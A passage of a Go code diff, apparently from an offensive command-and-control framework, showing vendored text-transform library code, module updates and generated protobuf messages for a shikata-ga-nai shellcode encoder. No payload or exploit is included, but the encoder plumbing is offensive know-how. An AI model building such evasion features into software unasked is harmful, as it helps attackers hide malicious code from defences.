r.src0, r.src1 = 0, copy(r.src, r.src[r.src0:r.src1])
|
||||
}
|
||||
n, r.err = r.r.Read(r.src[r.src1:])
|
||||
r.src1 += n
|
||||
}
|
||||
}
|
||||
|
||||
// TODO: implement ReadByte (and ReadRune??).
|
||||
|
||||
// Writer wraps another io.Writer by transforming the bytes read.
|
||||
// The user needs to call Close to flush unwritten bytes that may
|
||||
// be buffered.
|
||||
type Writer struct {
|
||||
w io.Writer
|
||||
t Transformer
|
||||
dst []byte
|
||||
|
||||
// src[:n] contains bytes that have not yet passed through t.
|
||||
src []byte
|
||||
n int
|
||||
}
|
||||
|
||||
// NewWriter returns a new Writer that wraps w by transforming the bytes written
|
||||
// via t. It calls Reset on t.
|
||||
func NewWriter(w io.Writer, t Transformer) *Writer {
|
||||
t.Reset()
|
||||
return &Writer{
|
||||
w: w,
|
||||
t: t,
|
||||
dst: make([]byte, defaultBufSize),
|
||||
src: make([]byte, defaultBufSize),
|
||||
}
|
||||
}
|
||||
|
||||
// Write implements the io.Writer interface. If there are not enough
|
||||
// bytes available to complete a Transform, the bytes will be buffered
|
||||
// for the next write. Call Close to convert the remaining bytes.
|
||||
func (w *Writer) Write(data []byte) (n int, err error) {
|
||||
src := data
|
||||
if w.n > 0 {
|
||||
// Append bytes from data to the last remainder.
|
||||
// TODO: limit the amount copied on first try.
|
||||
n = copy(w.src[w.n:], data)
|
||||
w.n += n
|
||||
src = w.src[:w.n]
|
||||
}
|
||||
for {
|
||||
nDst, nSrc, err := w.t.Transform(w.dst, src, false)
|
||||
if _, werr := w.w.Write(w.dst[:nDst]); werr != nil {
|
||||
return n, werr
|
||||
}
|
||||
src = src[nSrc:]
|
||||
if w.n == 0 {
|
||||
n += nSrc
|
||||
} else if len(src) <= n {
|
||||
// Enough bytes from w.src have been consumed. We make src point
|
||||
// to data instead to reduce the copying.
|
||||
w.n = 0
|
||||
n -= len(src)
|
||||
src = data[n:]
|
||||
if n < len(data) && (err == nil || err == ErrShortSrc) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
switch err {
|
||||
case ErrShortDst:
|
||||
// This error is okay as long as we are making progress.
|
||||
if nDst > 0 || nSrc > 0 {
|
||||
continue
|
||||
}
|
||||
case ErrShortSrc:
|
||||
if len(src) < len(w.src) {
|
||||
m := copy(w.src, src)
|
||||
// If w.n > 0, bytes from data were already copied to w.src and n
|
||||
// was already set to the number of bytes consumed.
|
||||
if w.n == 0 {
|
||||
n += m
|
||||
}
|
||||
w.n = m
|
||||
err = nil
|
||||
} else if nDst > 0 || nSrc > 0 {
|
||||
// Not enough buffer to store the remainder. Keep processing as
|
||||
// long as there is progress. Without this case, transforms that
|
||||
// require a lookahead larger than the buffer may result in an
|
||||
// error. This is not something one may expect to be common in
|
||||
// practice, but it may occur when buffers are set to small
|
||||
// sizes during testing.
|
||||
continue
|
||||
}
|
||||
case nil:
|
||||
if w.n > 0 {
|
||||
err = errInconsistentByteCount
|
||||
}
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
}
|
||||
|
||||
// Close implements the io.Closer interface.
|
||||
func (w *Writer) Close() error {
|
||||
src := w.src[:w.n]
|
||||
for {
|
||||
nDst, nSrc, err := w.t.Transform(w.dst, src, true)
|
||||
if _, werr := w.w.Write(w.dst[:nDst]); werr != nil {
|
||||
return werr
|
||||
}
|
||||
if err != ErrShortDst {
|
||||
return err
|
||||
}
|
||||
src = src[nSrc:]
|
||||
}
|
||||
}
|
||||
|
||||
type nop struct{ NopResetter }
|
||||
|
||||
func (nop) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
n := copy(dst, src)
|
||||
if n < len(src) {
|
||||
err = ErrShortDst
|
||||
}
|
||||
return n, n, err
|
||||
}
|
||||
|
||||
func (nop) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
return len(src), nil
|
||||
}
|
||||
|
||||
type discard struct{ NopResetter }
|
||||
|
||||
func (discard) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
return 0, len(src), nil
|
||||
}
|
||||
|
||||
var (
|
||||
// Discard is a Transformer for which all Transform calls succeed
|
||||
// by consuming all bytes and writing nothing.
|
||||
Discard Transformer = discard{}
|
||||
|
||||
// Nop is a SpanningTransformer that copies src to dst.
|
||||
Nop SpanningTransformer = nop{}
|
||||
)
|
||||
|
||||
// chain is a sequence of links. A chain with N Transformers has N+1 links and
|
||||
// N+1 buffers. Of those N+1 buffers, the first and last are the src and dst
|
||||
// buffers given to chain.Transform and the middle N-1 buffers are intermediate
|
||||
// buffers owned by the chain. The i'th link transforms bytes from the i'th
|
||||
// buffer chain.link[i].b at read offset chain.link[i].p to the i+1'th buffer
|
||||
// chain.link[i+1].b at write offset chain.link[i+1].n, for i in [0, N).
|
||||
type chain struct {
|
||||
link []link
|
||||
err error
|
||||
// errStart is the index at which the error occurred plus 1. Processing
|
||||
// errStart at this level at the next call to Transform. As long as
|
||||
// errStart > 0, chain will not consume any more source bytes.
|
||||
errStart int
|
||||
}
|
||||
|
||||
func (c *chain) fatalError(errIndex int, err error) {
|
||||
if i := errIndex + 1; i > c.errStart {
|
||||
c.errStart = i
|
||||
c.err = err
|
||||
}
|
||||
}
|
||||
|
||||
type link struct {
|
||||
t Transformer
|
||||
// b[p:n] holds the bytes to be transformed by t.
|
||||
b []byte
|
||||
p int
|
||||
n int
|
||||
}
|
||||
|
||||
func (l *link) src() []byte {
|
||||
return l.b[l.p:l.n]
|
||||
}
|
||||
|
||||
func (l *link) dst() []byte {
|
||||
return l.b[l.n:]
|
||||
}
|
||||
|
||||
// Chain returns a Transformer that applies t in sequence.
|
||||
func Chain(t ...Transformer) Transformer {
|
||||
if len(t) == 0 {
|
||||
return nop{}
|
||||
}
|
||||
c := &chain{link: make([]link, len(t)+1)}
|
||||
for i, tt := range t {
|
||||
c.link[i].t = tt
|
||||
}
|
||||
// Allocate intermediate buffers.
|
||||
b := make([][defaultBufSize]byte, len(t)-1)
|
||||
for i := range b {
|
||||
c.link[i+1].b = b[i][:]
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// Reset resets the state of Chain. It calls Reset on all the Transformers.
|
||||
func (c *chain) Reset() {
|
||||
for i, l := range c.link {
|
||||
if l.t != nil {
|
||||
l.t.Reset()
|
||||
}
|
||||
c.link[i].p, c.link[i].n = 0, 0
|
||||
}
|
||||
}
|
||||
|
||||
// TODO: make chain use Span (is going to be fun to implement!)
|
||||
|
||||
// Transform applies the transformers of c in sequence.
|
||||
func (c *chain) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
// Set up src and dst in the chain.
|
||||
srcL := &c.link[0]
|
||||
dstL := &c.link[len(c.link)-1]
|
||||
srcL.b, srcL.p, srcL.n = src, 0, len(src)
|
||||
dstL.b, dstL.n = dst, 0
|
||||
var lastFull, needProgress bool // for detecting progress
|
||||
|
||||
// i is the index of the next Transformer to apply, for i in [low, high].
|
||||
// low is the lowest index for which c.link[low] may still produce bytes.
|
||||
// high is the highest index for which c.link[high] has a Transformer.
|
||||
// The error returned by Transform determines whether to increase or
|
||||
// decrease i. We try to completely fill a buffer before converting it.
|
||||
for low, i, high := c.errStart, c.errStart, len(c.link)-2; low <= i && i <= high; {
|
||||
in, out := &c.link[i], &c.link[i+1]
|
||||
nDst, nSrc, err0 := in.t.Transform(out.dst(), in.src(), atEOF && low == i)
|
||||
out.n += nDst
|
||||
in.p += nSrc
|
||||
if i > 0 && in.p == in.n {
|
||||
in.p, in.n = 0, 0
|
||||
}
|
||||
needProgress, lastFull = lastFull, false
|
||||
switch err0 {
|
||||
case ErrShortDst:
|
||||
// Process the destination buffer next. Return if we are already
|
||||
// at the high index.
|
||||
if i == high {
|
||||
return dstL.n, srcL.p, ErrShortDst
|
||||
}
|
||||
if out.n != 0 {
|
||||
i++
|
||||
// If the Transformer at the next index is not able to process any
|
||||
// source bytes there is nothing that can be done to make progress
|
||||
// and the bytes will remain unprocessed. lastFull is used to
|
||||
// detect this and break out of the loop with a fatal error.
|
||||
lastFull = true
|
||||
continue
|
||||
}
|
||||
// The destination buffer was too small, but is completely empty.
|
||||
// Return a fatal error as this transformation can never complete.
|
||||
c.fatalError(i, errShortInternal)
|
||||
case ErrShortSrc:
|
||||
if i == 0 {
|
||||
// Save ErrShortSrc in err. All other errors take precedence.
|
||||
err = ErrShortSrc
|
||||
break
|
||||
}
|
||||
// Source bytes were depleted before filling up the destination buffer.
|
||||
// Verify we made some progress, move the remaining bytes to the errStart
|
||||
// and try to get more source bytes.
|
||||
if needProgress && nSrc == 0 || in.n-in.p == len(in.b) {
|
||||
// There were not enough source bytes to proceed while the source
|
||||
// buffer cannot hold any more bytes. Return a fatal error as this
|
||||
// transformation can never complete.
|
||||
c.fatalError(i, errShortInternal)
|
||||
break
|
||||
}
|
||||
// in.b is an internal buffer and we can make progress.
|
||||
in.p, in.n = 0, copy(in.b, in.src())
|
||||
fallthrough
|
||||
case nil:
|
||||
// if i == low, we have depleted the bytes at index i or any lower levels.
|
||||
// In that case we increase low and i. In all other cases we decrease i to
|
||||
// fetch more bytes before proceeding to the next index.
|
||||
if i > low {
|
||||
i--
|
||||
continue
|
||||
}
|
||||
default:
|
||||
c.fatalError(i, err0)
|
||||
}
|
||||
// Exhausted level low or fatal error: increase low and continue
|
||||
// to process the bytes accepted so far.
|
||||
i++
|
||||
low = i
|
||||
}
|
||||
|
||||
// If c.errStart > 0, this means we found a fatal error. We will clear
|
||||
// all upstream buffers. At this point, no more progress can be made
|
||||
// downstream, as Transform would have bailed while handling ErrShortDst.
|
||||
if c.errStart > 0 {
|
||||
for i := 1; i < c.errStart; i++ {
|
||||
c.link[i].p, c.link[i].n = 0, 0
|
||||
}
|
||||
err, c.errStart, c.err = c.err, 0, nil
|
||||
}
|
||||
return dstL.n, srcL.p, err
|
||||
}
|
||||
|
||||
// Deprecated: Use runes.Remove instead.
|
||||
func RemoveFunc(f func(r rune) bool) Transformer {
|
||||
return removeF(f)
|
||||
}
|
||||
|
||||
type removeF func(r rune) bool
|
||||
|
||||
func (removeF) Reset() {}
|
||||
|
||||
// Transform implements the Transformer interface.
|
||||
func (t removeF) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
for r, sz := rune(0), 0; len(src) > 0; src = src[sz:] {
|
||||
|
||||
if r = rune(src[0]); r < utf8.RuneSelf {
|
||||
sz = 1
|
||||
} else {
|
||||
r, sz = utf8.DecodeRune(src)
|
||||
|
||||
if sz == 1 {
|
||||
// Invalid rune.
|
||||
if !atEOF && !utf8.FullRune(src) {
|
||||
err = ErrShortSrc
|
||||
break
|
||||
}
|
||||
// We replace illegal bytes with RuneError. Not doing so might
|
||||
// otherwise turn a sequence of invalid UTF-8 into valid UTF-8.
|
||||
// The resulting byte sequence may subsequently contain runes
|
||||
// for which t(r) is true that were passed unnoticed.
|
||||
if !t(r) {
|
||||
if nDst+3 > len(dst) {
|
||||
err = ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += copy(dst[nDst:], "\uFFFD")
|
||||
}
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if !t(r) {
|
||||
if nDst+sz > len(dst) {
|
||||
err = ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += copy(dst[nDst:], src[:sz])
|
||||
}
|
||||
nSrc += sz
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// grow returns a new []byte that is longer than b, and copies the first n bytes
|
||||
// of b to the start of the new slice.
|
||||
func grow(b []byte, n int) []byte {
|
||||
m := len(b)
|
||||
if m <= 32 {
|
||||
m = 64
|
||||
} else if m <= 256 {
|
||||
m *= 2
|
||||
} else {
|
||||
m += m >> 1
|
||||
}
|
||||
buf := make([]byte, m)
|
||||
copy(buf, b[:n])
|
||||
return buf
|
||||
}
|
||||
|
||||
const initialBufSize = 128
|
||||
|
||||
// String returns a string with the result of converting s[:n] using t, where
|
||||
// n <= len(s). If err == nil, n will be len(s). It calls Reset on t.
|
||||
func String(t Transformer, s string) (result string, n int, err error) {
|
||||
t.Reset()
|
||||
if s == "" {
|
||||
// Fast path for the common case for empty input. Results in about a
|
||||
// 86% reduction of running time for BenchmarkStringLowerEmpty.
|
||||
if _, _, err := t.Transform(nil, nil, true); err == nil {
|
||||
return "", 0, nil
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate only once. Note that both dst and src escape when passed to
|
||||
// Transform.
|
||||
buf := [2 * initialBufSize]byte{}
|
||||
dst := buf[:initialBufSize:initialBufSize]
|
||||
src := buf[initialBufSize : 2*initialBufSize]
|
||||
|
||||
// The input string s is transformed in multiple chunks (starting with a
|
||||
// chunk size of initialBufSize). nDst and nSrc are per-chunk (or
|
||||
// per-Transform-call) indexes, pDst and pSrc are overall indexes.
|
||||
nDst, nSrc := 0, 0
|
||||
pDst, pSrc := 0, 0
|
||||
|
||||
// pPrefix is the length of a common prefix: the first pPrefix bytes of the
|
||||
// result will equal the first pPrefix bytes of s. It is not guaranteed to
|
||||
// be the largest such value, but if pPrefix, len(result) and len(s) are
|
||||
// all equal after the final transform (i.e. calling Transform with atEOF
|
||||
// being true returned nil error) then we don't need to allocate a new
|
||||
// result string.
|
||||
pPrefix := 0
|
||||
for {
|
||||
// Invariant: pDst == pPrefix && pSrc == pPrefix.
|
||||
|
||||
n := copy(src, s[pSrc:])
|
||||
nDst, nSrc, err = t.Transform(dst, src[:n], pSrc+n == len(s))
|
||||
pDst += nDst
|
||||
pSrc += nSrc
|
||||
|
||||
// TODO: let transformers implement an optional Spanner interface, akin
|
||||
// to norm's QuickSpan. This would even allow us to avoid any allocation.
|
||||
if !bytes.Equal(dst[:nDst], src[:nSrc]) {
|
||||
break
|
||||
}
|
||||
pPrefix = pSrc
|
||||
if err == ErrShortDst {
|
||||
// A buffer can only be short if a transformer modifies its input.
|
||||
break
|
||||
} else if err == ErrShortSrc {
|
||||
if nSrc == 0 {
|
||||
// No progress was made.
|
||||
break
|
||||
}
|
||||
// Equal so far and !atEOF, so continue checking.
|
||||
} else if err != nil || pPrefix == len(s) {
|
||||
return string(s[:pPrefix]), pPrefix, err
|
||||
}
|
||||
}
|
||||
// Post-condition: pDst == pPrefix + nDst && pSrc == pPrefix + nSrc.
|
||||
|
||||
// We have transformed the first pSrc bytes of the input s to become pDst
|
||||
// transformed bytes. Those transformed bytes are discontiguous: the first
|
||||
// pPrefix of them equal s[:pPrefix] and the last nDst of them equal
|
||||
// dst[:nDst]. We copy them around, into a new dst buffer if necessary, so
|
||||
// that they become one contiguous slice: dst[:pDst].
|
||||
if pPrefix != 0 {
|
||||
newDst := dst
|
||||
if pDst > len(newDst) {
|
||||
newDst = make([]byte, len(s)+nDst-nSrc)
|
||||
}
|
||||
copy(newDst[pPrefix:pDst], dst[:nDst])
|
||||
copy(newDst[:pPrefix], s[:pPrefix])
|
||||
dst = newDst
|
||||
}
|
||||
|
||||
// Prevent duplicate Transform calls with atEOF being true at the end of
|
||||
// the input. Also return if we have an unrecoverable error.
|
||||
if (err == nil && pSrc == len(s)) ||
|
||||
(err != nil && err != ErrShortDst && err != ErrShortSrc) {
|
||||
return string(dst[:pDst]), pSrc, err
|
||||
}
|
||||
|
||||
// Transform the remaining input, growing dst and src buffers as necessary.
|
||||
for {
|
||||
n := copy(src, s[pSrc:])
|
||||
atEOF := pSrc+n == len(s)
|
||||
nDst, nSrc, err := t.Transform(dst[pDst:], src[:n], atEOF)
|
||||
pDst += nDst
|
||||
pSrc += nSrc
|
||||
|
||||
// If we got ErrShortDst or ErrShortSrc, do not grow as long as we can
|
||||
// make progress. This may avoid excessive allocations.
|
||||
if err == ErrShortDst {
|
||||
if nDst == 0 {
|
||||
dst = grow(dst, pDst)
|
||||
}
|
||||
} else if err == ErrShortSrc {
|
||||
if atEOF {
|
||||
return string(dst[:pDst]), pSrc, err
|
||||
}
|
||||
if nSrc == 0 {
|
||||
src = grow(src, 0)
|
||||
}
|
||||
} else if err != nil || pSrc == len(s) {
|
||||
return string(dst[:pDst]), pSrc, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Bytes returns a new byte slice with the result of converting b[:n] using t,
|
||||
// where n <= len(b). If err == nil, n will be len(b). It calls Reset on t.
|
||||
func Bytes(t Transformer, b []byte) (result []byte, n int, err error) {
|
||||
return doAppend(t, 0, make([]byte, len(b)), b)
|
||||
}
|
||||
|
||||
// Append appends the result of converting src[:n] using t to dst, where
|
||||
// n <= len(src), If err == nil, n will be len(src). It calls Reset on t.
|
||||
func Append(t Transformer, dst, src []byte) (result []byte, n int, err error) {
|
||||
if len(dst) == cap(dst) {
|
||||
n := len(src) + len(dst) // It is okay for this to be 0.
|
||||
b := make([]byte, n)
|
||||
dst = b[:copy(b, dst)]
|
||||
}
|
||||
return doAppend(t, len(dst), dst[:cap(dst)], src)
|
||||
}
|
||||
|
||||
func doAppend(t Transformer, pDst int, dst, src []byte) (result []byte, n int, err error) {
|
||||
t.Reset()
|
||||
pSrc := 0
|
||||
for {
|
||||
nDst, nSrc, err := t.Transform(dst[pDst:], src[pSrc:], true)
|
||||
pDst += nDst
|
||||
pSrc += nSrc
|
||||
if err != ErrShortDst {
|
||||
return dst[:pDst], pSrc, err
|
||||
}
|
||||
|
||||
// Grow the destination buffer, but do not grow as long as we can make
|
||||
// progress. This may avoid excessive allocations.
|
||||
if nDst == 0 {
|
||||
dst = grow(dst, pDst)
|
||||
}
|
||||
}
|
||||
}
|
||||
Vendored
+13
-1
@@ -15,6 +15,9 @@ github.com/BurntSushi/xgb/xproto
|
||||
# github.com/Microsoft/go-winio v0.5.0
|
||||
## explicit; go 1.12
|
||||
github.com/Microsoft/go-winio/pkg/guid
|
||||
# github.com/Ne0nd0g/go-clr v1.0.2
|
||||
## explicit; go 1.13
|
||||
github.com/Ne0nd0g/go-clr
|
||||
# github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0
|
||||
## explicit; go 1.16
|
||||
github.com/awgh/cppgo/asmcall/cdecl
|
||||
@@ -101,7 +104,7 @@ golang.org/x/net/internal/iana
|
||||
golang.org/x/net/internal/socket
|
||||
golang.org/x/net/ipv4
|
||||
golang.org/x/net/ipv6
|
||||
# golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
# golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
## explicit; go 1.17
|
||||
golang.org/x/sys/cpu
|
||||
golang.org/x/sys/execabs
|
||||
@@ -111,6 +114,15 @@ golang.org/x/sys/windows
|
||||
golang.org/x/sys/windows/registry
|
||||
golang.org/x/sys/windows/svc
|
||||
golang.org/x/sys/windows/svc/mgr
|
||||
# golang.org/x/text v0.3.7
|
||||
## explicit; go 1.17
|
||||
golang.org/x/text/encoding
|
||||
golang.org/x/text/encoding/internal
|
||||
golang.org/x/text/encoding/internal/identifier
|
||||
golang.org/x/text/encoding/unicode
|
||||
golang.org/x/text/internal/utf8internal
|
||||
golang.org/x/text/runes
|
||||
golang.org/x/text/transform
|
||||
# golang.org/x/time v0.0.0-20191024005414-555d28b269f0
|
||||
## explicit
|
||||
golang.org/x/time/rate
|
||||
|
||||
+476
-163
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.5
|
||||
// source: clientpb/client.proto
|
||||
|
||||
@@ -270,6 +270,50 @@ func (FileType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{4}
|
||||
}
|
||||
|
||||
// [ Shellcode ] ----------------------------------------
|
||||
type ShellcodeEncoder int32
|
||||
|
||||
const (
|
||||
ShellcodeEncoder_SHIKATA_GA_NAI ShellcodeEncoder = 0
|
||||
)
|
||||
|
||||
// Enum value maps for ShellcodeEncoder.
|
||||
var (
|
||||
ShellcodeEncoder_name = map[int32]string{
|
||||
0: "SHIKATA_GA_NAI",
|
||||
}
|
||||
ShellcodeEncoder_value = map[string]int32{
|
||||
"SHIKATA_GA_NAI": 0,
|
||||
}
|
||||
)
|
||||
|
||||
func (x ShellcodeEncoder) Enum() *ShellcodeEncoder {
|
||||
p := new(ShellcodeEncoder)
|
||||
*p = x
|
||||
return p
|
||||
}
|
||||
|
||||
func (x ShellcodeEncoder) String() string {
|
||||
return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
|
||||
}
|
||||
|
||||
func (ShellcodeEncoder) Descriptor() protoreflect.EnumDescriptor {
|
||||
return file_clientpb_client_proto_enumTypes[5].Descriptor()
|
||||
}
|
||||
|
||||
func (ShellcodeEncoder) Type() protoreflect.EnumType {
|
||||
return &file_clientpb_client_proto_enumTypes[5]
|
||||
}
|
||||
|
||||
func (x ShellcodeEncoder) Number() protoreflect.EnumNumber {
|
||||
return protoreflect.EnumNumber(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use ShellcodeEncoder.Descriptor instead.
|
||||
func (ShellcodeEncoder) EnumDescriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{5}
|
||||
}
|
||||
|
||||
// [ Version ] ----------------------------------------
|
||||
type Version struct {
|
||||
state protoimpl.MessageState
|
||||
@@ -5525,6 +5569,195 @@ func (x *DllHijack) GetResponse() *commonpb.Response {
|
||||
return nil
|
||||
}
|
||||
|
||||
type ShellcodeEncodeReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Encoder ShellcodeEncoder `protobuf:"varint,1,opt,name=Encoder,proto3,enum=clientpb.ShellcodeEncoder" json:"Encoder,omitempty"`
|
||||
Architecture string `protobuf:"bytes,2,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
|
||||
Iterations uint32 `protobuf:"varint,3,opt,name=Iterations,proto3" json:"Iterations,omitempty"`
|
||||
BadChars []byte `protobuf:"bytes,4,opt,name=BadChars,proto3" json:"BadChars,omitempty"`
|
||||
Data []byte `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) Reset() {
|
||||
*x = ShellcodeEncodeReq{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[73]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*ShellcodeEncodeReq) ProtoMessage() {}
|
||||
|
||||
func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[73]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead.
|
||||
func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{73}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder {
|
||||
if x != nil {
|
||||
return x.Encoder
|
||||
}
|
||||
return ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetArchitecture() string {
|
||||
if x != nil {
|
||||
return x.Architecture
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetIterations() uint32 {
|
||||
if x != nil {
|
||||
return x.Iterations
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetBadChars() []byte {
|
||||
if x != nil {
|
||||
return x.BadChars
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetData() []byte {
|
||||
if x != nil {
|
||||
return x.Data
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncodeReq) GetRequest() *commonpb.Request {
|
||||
if x != nil {
|
||||
return x.Request
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type ShellcodeEncode struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Data []byte `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncode) Reset() {
|
||||
*x = ShellcodeEncode{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[74]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncode) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*ShellcodeEncode) ProtoMessage() {}
|
||||
|
||||
func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[74]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead.
|
||||
func (*ShellcodeEncode) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{74}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncode) GetData() []byte {
|
||||
if x != nil {
|
||||
return x.Data
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncode) GetResponse() *commonpb.Response {
|
||||
if x != nil {
|
||||
return x.Response
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type ShellcodeEncoderMap struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Encoders map[string]ShellcodeEncoder `protobuf:"bytes,1,rep,name=Encoders,proto3" json:"Encoders,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=clientpb.ShellcodeEncoder"`
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncoderMap) Reset() {
|
||||
*x = ShellcodeEncoderMap{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[75]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncoderMap) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*ShellcodeEncoderMap) ProtoMessage() {}
|
||||
|
||||
func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[75]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead.
|
||||
func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{75}
|
||||
}
|
||||
|
||||
func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder {
|
||||
if x != nil {
|
||||
return x.Encoders
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_clientpb_client_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_clientpb_client_proto_rawDesc = []byte{
|
||||
@@ -6194,29 +6427,63 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
|
||||
0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
|
||||
0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73,
|
||||
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46,
|
||||
0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f,
|
||||
